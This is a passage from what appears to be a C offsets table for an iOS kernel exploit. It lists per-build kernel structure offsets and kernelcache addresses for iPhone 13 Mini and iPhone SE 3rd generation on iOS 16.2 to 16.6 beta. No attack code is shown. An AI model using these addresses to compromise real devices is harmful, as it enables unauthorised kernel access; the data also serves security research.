0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a471208,\n        .kernelcache__gPhysBase = 0xfffffff00793c100,\n        .kernelcache__gPhysSize = 0xfffffff00793c100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00793a2d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4af520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007efd480,\n        .kernelcache__ptov_table = 0xfffffff0078ef180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ae990,\n        .kernelcache__vm_pages = 0xfffffff0078ebec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ee130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ae988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f49fe8,\n    },\n    \n    // iOS 16.6 Beta 1 //\n      {\n          .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110\",\n          .build_version = \"20G5026e\",\n          .device_id = \"iPhone14,4\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 0x8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x380 - 0x18,\n          .task__threads__prev = 0x80 - 0x28 + 0x8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x640,\n          .thread__task_threads__next = 0x80 - 0x28,\n          .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n          .thread__map = 0x380,\n          .thread__thread_id = 0x418,\n          .thread__object_size = 0x4c0,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x10,\n          ._vm_map__hdr__links__next = 0x08 + 0x10,\n          ._vm_map__hdr__links__start = 0x10 + 0x10,\n          ._vm_map__hdr__links__end = 0x18 + 0x10,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,//good\n          .kernelcache__cdevsw = 0xfffffff00a519a30, //good\n          .kernelcache__gPhysBase = 0xfffffff0079502a8, //good\n          .kernelcache__gPhysSize = 0xfffffff0079502b0, //good\n          .kernelcache__gVirtBase = 0xfffffff00794e460, //good\n          .kernelcache__perfmon_devices = 0xfffffff00a559550, //good\n          .kernelcache__perfmon_dev_open = 0xfffffff007f1db9c, //good\n          .kernelcache__ptov_table = 0xfffffff0079039c0, //good\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a558910, //good\n          .kernelcache__vm_pages = 0xfffffff007900110, //good\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902970, //good\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a558908, //good\n          .kernelcache__vn_kqfilter = 0xfffffff007f6a0b8, //good\n      },\n // End iPhone 13 Mini //\n // Start iPhone SE 3rd //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone14,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3d9190,\n        .kernelcache__gPhysBase = 0xfffffff0078680c8,\n        .kernelcache__gPhysSize = 0xfffffff0078680c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0078662a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4143b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef0fa8,\n        .kernelcache__ptov_table = 0xfffffff00781b370,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a413800,\n        .kernelcache__vm_pages = 0xfffffff007818098,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00781a330,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4137f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f40fd0,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone14,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3e1190,\n        .kernelcache__gPhysBase = 0xfffffff0078681b0,\n        .kernelcache__gPhysSize = 0xfffffff0078681b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007866390,\n        .kernelcache__perfmon_devices = 0xfffffff00a41c3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef105c,\n        .kernelcache__ptov_table = 0xfffffff00781b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a41b800,\n        .kernelcache__vm_pages = 0xfffffff0078180d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00781a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a41b7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f41074,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone14,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3e1190,\n        .kernelcache__gPhysBase = 0xfffffff0078681b0,\n        .kernelcache__gPhysSize = 0xfffffff0078681b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007866390,\n        .kernelcache__perfmon_devices = 0xfffffff00a41c3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef105c,\n        .kernelcache__ptov_table = 0xfffffff00781b3b0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a41b800,\n        .kernelcache__vm_pages = 0xfffffff0078180d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff00781a370,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a41b7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f41074,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone14,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a4c5208,\n        .kernelcache__gPhysBase = 0xfffffff007947fc0,\n        .kernelcache__gPhysSize = 0xfffffff007947fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007946198,\n        .kernelcache__perfmon_devices = 0xfffffff00a503520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f11210,\n        .kernelcache__ptov_table = 0xfffffff0078fb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a502990,\n        .kernelcache__vm_pages = 0xfffffff0078f7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fa130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a502988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f5dae0,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone14,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a4c5208,\n        .kernelcache__gPhysBase = 0xfffffff007947fc0,\n        .kernelcache__gPhysSize = 0xfffffff007947fc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007946198,\n        .kernelcache__perfmon_devices = 0xfffffff00a503520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f11210,\n        .kernelcache__ptov_table = 0xfffffff0078fb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a502990,\n        .kernelcache__vm_pages = 0xfffffff0078f7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fa130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a502988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f5dae0,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone14,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x640,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a4cd208,\n        .kernelcache__gPhysBase = 0xfffffff007948100,\n        .kernelcache__gPhysSize = 0xfffffff007948100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079462d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a50b520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f11480,\n        .kernelcache__ptov_table = 0xfffffff0078fb180,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a50a990,\n        .kernelcache__vm_pages = 0xfffffff0078f7ec0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fa130,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a50a988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f5dfe8,\n    },\n\n    // iOS 16.6 beta 1 //\n     {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone14,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // 